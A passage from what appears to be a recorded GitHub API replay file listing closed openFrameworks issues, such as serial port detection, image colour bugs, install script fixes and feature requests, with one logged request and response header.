render","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-03-13T19:41:53Z","created_at":"2010-04-05T18:34:27Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165390,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-04-26T20:13:26Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?p=19156&#p19156","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/139","comments":1,"milestone":null,"number":139,"html_url":"https://github.com/openframeworks/openFrameworks/issues/139","assignee":null,"title":"ofxDirList bug with empty paths","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-04-26T20:13:26Z","created_at":"2010-04-02T17:07:49Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":163886,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-04-26T20:27:25Z","body":"\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=19093&#p19093","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/138","comments":2,"milestone":null,"number":138,"html_url":"https://github.com/openframeworks/openFrameworks/issues/138","assignee":null,"title":"ofEventUtils missing include guard or #pragma once","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-04-26T20:27:25Z","created_at":"2010-03-30T10:40:57Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":161526,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-06-07T16:06:43Z","body":"enables 0.0-1.0 for both ARB and regular.\r\n\r\nhttp://github.com/memo/openFrameworks/commit/fdcb83e91cb8030898da72fb4652b55ea1924fe4\r\n( for iphone ) http://github.com/memo/openFrameworks/commit/601ff6fede8393868e49d5244dee6b74f65690a2","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/137","comments":1,"milestone":null,"number":137,"html_url":"https://github.com/openframeworks/openFrameworks/issues/137","assignee":null,"title":"ofEnableNormalizedTexCoords ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2010-06-07T16:06:43Z","created_at":"2010-03-23T14:20:55Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":156852,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-08-27T22:48:05Z","body":"Two requests regarding keyPressed() / keyReleased():\r\n1) It would be very convenient if those functions had an extra bitfield argument to indicate modifier state; e.g.:\r\nenum KEY_MODIFIER {\r\n KEY_SHIFT = 1 << 0,\r\n KEY_CTRL = 1 << 1,\r\n /* etc. */\r\n};\r\n\r\n2) Have the functions return a bool, so they can easily be chained without multiple objects handling the same keyboard event; this goes for mouse events as well.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/136","comments":2,"milestone":null,"number":136,"html_url":"https://github.com/openframeworks/openFrameworks/issues/136","assignee":null,"title":"change of keyPressed/keyReleased functions","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-08-27T22:48:05Z","created_at":"2010-03-19T00:42:20Z","state":"closed","user":{"url":"https://api.github.com/users/woutgg","avatar_url":"https://secure.gravatar.com/avatar/4903b31ae1bfc8ffc90d70fe265d6a4f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4903b31ae1bfc8ffc90d70fe265d6a4f","login":"woutgg","id":45257},"id":154058,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-09T15:05:22Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/135","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":135,"html_url":"https://github.com/openframeworks/openFrameworks/issues/135","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"ofImage::grabScreen doesn't work on iPhone","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":"2012-03-09T15:05:22Z","created_at":"2010-03-18T15:53:25Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":153744,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-10-05T12:55:53Z","body":"On a little-endian machine (macbook4.1), resizing an ofImage loaded from an RGB+alpha (8bit per channel) PNG file yields an image with the color channels inversed.\r\nWhen the line 'if (pix.bytesPerPixel != 1) swapRgb(pix);' (ofImage.cpp#430) is disabled, everything works properly.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/134","comments":3,"milestone":null,"number":134,"html_url":"https://github.com/openframeworks/openFrameworks/issues/134","assignee":null,"title":"ofImage resize reverses colors","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-10-05T12:55:53Z","created_at":"2010-03-07T16:15:30Z","state":"closed","user":{"url":"https://api.github.com/users/woutgg","avatar_url":"https://secure.gravatar.com/avatar/4903b31ae1bfc8ffc90d70fe265d6a4f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4903b31ae1bfc8ffc90d70fe265d6a4f","login":"woutgg","id":45257},"id":146251,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-04-26T20:53:45Z","body":"\r\nI found a bug in the v0.61 with the ofSerial function setup(int deviceNumber, int baud).\r\n\r\nofSerial.cpp, line 274 :\r\nif( str.substr(0,3) == \"cu.\" || str.substr(0,3) == \"tty\" || str.substr(0,3) == \"rfc\" ){\r\n\r\ntr.substr(0,3) == \"tty\" matches all the pseudo terminal devices of the dev folder (ttyxx) where it should only find the tty.something real physical devices (at least on osx). And the enumerateDevices() function doesn't look for tty string but only for cu., so the device list it returns don't match with the setup function.\r\n\r\nThe code should be tr.substr(0,4) == \"tty.\" or only str.substr(0,3) == \"cu.\" like in of V0.60 \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=18237&#p18237","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/133","comments":1,"milestone":null,"number":133,"html_url":"https://github.com/openframeworks/openFrameworks/issues/133","assignee":null,"title":"ofSerial v0.061 bug","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-04-26T20:53:45Z","created_at":"2010-03-02T01:09:20Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":142831,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=34&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4962'), ('content-length', '32810'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"65895bac8c389fdb8db462c57279b271"'), ('date', 'Tue, 29 May 2012 18:46:56 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2010-06-07T16:06:02Z","body":"need getters to know if a movie is playing, if it paused, started etc\r\n\r\n\t\tbool \t\t\t\tbStarted;\r\n\t\tbool \t\t\t\tbPlaying;\r\n\t\tbool \t\t\t\tbPaused;","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/132","comments":1,"milestone":null,"number":132,"html_url":"https://github.com/openframeworks/openFrameworks/issues/132","assignee":null,"title":"ofVideoPlayer missing getters for important stuff!","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2010-06-07T16:06:02Z","created_at":"2010-02-21T16:10:01Z","state":"closed","user":{"url":"https://api.github.com/users/openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","id":142866},"id":137016,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-06-07T16:05:41Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/131","comments":4,"milestone":null,"number":131,"html_url":"https://github.com/openframeworks/openFrameworks/issues/131","assignee":null,"title":"ofVideoPlayer setLoopState(OF_LOOP_NONE) doesn't work in 0061","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-06-07T16:05:41Z","created_at":"2010-02-21T16:08:11Z","state":"closed","user":{"url":"https://api.github.com/users/openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","id":142866},"id":137014,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-02-15T22:54:52Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=9&t=2233&p=17903#p17903","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/130","comments":1,"milestone":null,"number":130,"html_url":"https://github.com/openframeworks/openFrameworks/issues/130","assignee":null,"title":"order of soundstream events clean buffer is wrong","labels":[],"closed_at":"2010-02-15T22:54:52Z","created_at":"2010-02-15T22:48:39Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":133509,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-04-26T22:12:02Z","body":"i tried to start an example app through codeblocks.\n\nit couldn't be started because xterm was missing. this should be added to the install scripts.\n\ni tried this on fedora12 32bit with the master branch from here. i don't have the possibility to test it with other distributions, so i don't know if this problem exists on other install scripts.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/129","comments":2,"milestone":null,"number":129,"html_url":"https://github.com/openframeworks/openFrameworks/issues/129","assignee":null,"title":"Linux Scripts - missing dependencies","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-04-26T22:12:02Z","created_at":"2010-02-14T23:40:35Z","state":"closed","user":{"url":"https://api.github.com/users/benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","id":124513},"id":132913,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-01T20:20:09Z","body":"\r\nin recent workshops, I've noticed that ofEnableAlphaBlending() is confusing for beginners. \r\nam wondering if we should try just enabling alpha blending by default ? advanced users can turn it off for speed, but the plus would be ofSetColor(r,g,b,a) just working by default.....\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/127","comments":3,"milestone":null,"number":127,"html_url":"https://github.com/openframeworks/openFrameworks/issues/127","assignee":null,"title":"enable alpha blending by default?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2010-10-05T13:06:46Z","created_at":"2010-02-13T14:47:07Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":132383,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-05-23T22:06:19Z","body":"Useful with the lerp radians / lerp degrees.\nStill not 100% if this is the perfect solution though - should test this and lerpDegrees for correct behavior. \n\n\t//------------------------------\n\t//------------------------------\n\tstatic float ofAngleDifferenceDegrees(float currentAngle, float targetAngle) {\n\t\tfloat diff = targetAngle - currentAngle;\n\t\twhile(diff > 180.0f) diff -= 360.0f;\n\t\twhile(diff < -180.0f) diff += 360.0f;\n\t\treturn diff;\n\t}\n\n\t//------------------------------\n\t//------------------------------\n\tstatic float ofAngleDifferenceRadians(float currentAngle, float targetAngle, float pct) {\n\t\tfloat diff = targetAngle - currentAngle;\n\t\twhile(diff > PI) diff -= TWO_PI;\n\t\twhile(diff < -PI) diff += TWO_PI;\n\t\treturn diff;\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/125","comments":1,"milestone":null,"number":125,"html_url":"https://github.com/openframeworks/openFrameworks/issues/125","assignee":null,"title":"ofAngleDifferenceDegrees / ofAngleDifferenceRadians ?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2010-05-23T22:06:19Z","created_at":"2010-02-13T14:17:13Z","state":"closed","user":{"url":"https://api.github.com/users/openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","id":142866},"id":132374,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-02-13T14:28:34Z","body":"super useful for time based animations","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/123","comments":2,"milestone":null,"number":123,"html_url":"https://github.com/openframeworks/openFrameworks/issues/123","assignee":null,"title":"add a ofGetLastFrameTime function","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":"2010-02-13T14:28:34Z","created_at":"2010-02-12T00:50:11Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":131299,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-09-25T18:53:38Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=9&t=3214&p=17767#p17767\r\n\r\nwe can check errno and print an error message in case something goes wrong.\r\n\r\ncheck how to know if it's returning -1 because there's nothing to receive or because there's actually some error in the connection.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/122","comments":1,"milestone":null,"number":122,"html_url":"https://github.com/openframeworks/openFrameworks/issues/122","assignee":null,"title":"check what has been wrong on error network receive, send...","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2010-09-25T18:53:38Z","created_at":"2010-02-11T23:14:05Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":131229,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-04-26T20:42:24Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=9&t=3275","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/120","comments":1,"milestone":null,"number":120,"html_url":"https://github.com/openframeworks/openFrameworks/issues/120","assignee":null,"title":"ofxCvFloatImage *= operator rounding","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-04-26T20:42:24Z","created_at":"2010-02-08T14:14:43Z","state":"closed","user":{"url":"https://api.github.com/users/openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","id":142866},"id":128045,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-04-26T20:33:05Z","body":"Lines 72 and 73 of ofxCVContourFinder are\r\n\r\ninputCopy = input;\r\ninputCopy.setROI( input.getROI() );\r\n\r\nbut now in of0061 the '=' copy will fail if the ROIs are not the same. so the lines either need to be swapped or a change in ROI be made explicit (its a performance tweak by the looks of it).\r\n\r\n...i think. ymmv: first oF post so i may have things backwards.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/119","comments":1,"milestone":null,"number":119,"html_url":"https://github.com/openframeworks/openFrameworks/issues/119","assignee":null,"title":"ofxCVContourFinder","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-04-26T20:33:05Z","created_at":"2010-02-05T15:23:26Z","state":"closed","user":{"url":"https://api.github.com/users/tobyspark","avatar_url":"https://secure.gravatar.com/avatar/679ba099805997e32f7091b1f67a17ce?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"679ba099805997e32f7091b1f67a17ce","login":"tobyspark","id":197773},"id":126409,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-02-03T08:34:25Z","body":"Hi,\r\n\r\nThe installation script scripts/linux/ubuntu/install_dependencies.sh has a buggy line:\r\n\r\nchown -R $ID:$ID obj ../../lib/linux64/*\r\n\r\nInstead, it must be replaced with the next line:\r\n\r\nchown -R $ID:$ID obj ../../lib/$LIBSPATH/*\r\n\r\nI patched it. You can fetch it from http://github.com/onurgu/openFrameworks/commit/febf059a55dc79f4ca784332d8024b9d3e521db9\r\n\r\nActually I don't know you can merge it easily with the master.\r\n\r\nI must say that I am a newbie to both git and github.\r\n\r\nBy the way, I would be more than happy if you can point me to any text about development practices that you follow while developing openframeworks.\r\n\r\nThanks,\r\nOnur\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/118","comments":1,"milestone":null,"number":118,"html_url":"https://github.com/openframeworks/openFrameworks/issues/118","assignee":null,"title":"Buggy Installation Script - Ubuntu Linux - Incomplete Architecture Detection","labels":[],"closed_at":"2010-02-03T08:34:25Z","created_at":"2010-01-25T14:38:47Z","state":"closed","user":{"url":"https://api.github.com/users/onurgu","avatar_url":"https://secure.gravatar.com/avatar/05184c7ef9e65553ad02716783cc43e8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"05184c7ef9e65553ad02716783cc43e8","login":"onurgu","id":56893},"id":119422,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-16T00:27:21Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=6&t=2616&view=unread#unread\r\n\r\ncmd-q/alt-f4 can be surely be disabled by capturing some os interruption\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/117","comments":3,"milestone":null,"number":117,"html_url":"https://github.com/openframeworks/openFrameworks/issues/117","assignee":null,"title":"veto esc key cmd-q/alt-f4","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-01-16T00:27:21Z","created_at":"2010-01-14T13:02:33Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":112749,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-04-27T21:38:19Z","body":"\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=16844&#p16844","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/116","comments":1,"milestone":null,"number":116,"html_url":"https://github.com/openframeworks/openFrameworks/issues/116","assignee":null,"title":"getStringBoundingBox multiline crash: ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-04-27T21:38:19Z","created_at":"2010-01-13T01:50:51Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":111750,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-15T04:51:12Z","body":"\r\nthere is some good serial code here: \r\n\r\nhttp://zambetti.com/projects/seriality/\r\n\r\nwhich points to simple ways to find the best ports on mac (always a pain at the moment, to find out since they change as you swap devices, are autogenerated, etc):\r\n\r\nvoid Seriality::refreshPorts()\r\n{\r\n\tchar* command = \"ls /dev/tty.*\";\r\n\tchar line[128];\r\n\tFILE* pipe;\r\n\r\n\twhile (!ports_.empty()) {\r\n\t ports_.pop_back();\r\n\t}\r\n\r\n\tif (!(pipe = (FILE*)popen(command,\"r\"))) {\r\n\t return;\r\n\t}\r\n\r\n\twhile (fgets(line, sizeof line, pipe)) {\r\n\t if ('\\n' == line[strlen(line) - 1]) {\r\n\t line[strlen(line) - 1] = '\\0';\r\n\t }\r\n\t if (NULL == strstr(line, \"usbserial\")) {\r\n\t ports_.push_back(line);\r\n\t }\r\n\t else {\r\n\t ports_.insert(ports_.begin(), line);\r\n\t }\r\n\t}\r\n\r\n\tpclose(pipe);\r\n}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/114","comments":1,"milestone":null,"number":114,"html_url":"https://github.com/openframeworks/openFrameworks/issues/114","assignee":null,"title":"ofSerial - find mac ports more automatically","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-01-15T04:51:12Z","created_at":"2010-01-10T02:28:19Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":109929,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-04-01T06:41:18Z","body":"\r\nI think most ofxFboTextures floating around will break because of: \r\n\r\n glGenTextures(1, (GLuint *)texData.textureName); // could be more then one, but for now, just one\r\n glBindTexture(texData.textureTarget, (GLuint)texData.textureName[0]);\r\n\r\nneed to be written with \"textureID\"... we should be sure to update ofxFboTexture ASAP. \r\n\r\n(I'm working on FBO and shader stuff now, will open up a branch soon)\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/113","comments":2,"milestone":null,"number":113,"html_url":"https://github.com/openframeworks/openFrameworks/issues/113","assignee":null,"title":"the removal of the textureData.textureName breaks ofxFBOtexture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-01-16T00:03:54Z","created_at":"2010-01-06T21:11:14Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":107934,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-04-26T19:01:53Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?p=16600&#p16600","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/112","comments":1,"milestone":null,"number":112,"html_url":"https://github.com/openframeworks/openFrameworks/issues/112","assignee":null,"title":"absolute paths broken in 0061?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-04-26T19:01:53Z","created_at":"2010-01-06T11:07:25Z","state":"closed","user":{"url":"https://api.github.com/users/openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","id":142866},"id":107449,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-04-26T20:27:25Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=18&t=3093&view=unread#unread","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/111","comments":1,"milestone":null,"number":111,"html_url":"https://github.com/openframeworks/openFrameworks/issues/111","assignee":null,"title":"problems with gcc 4.4 on 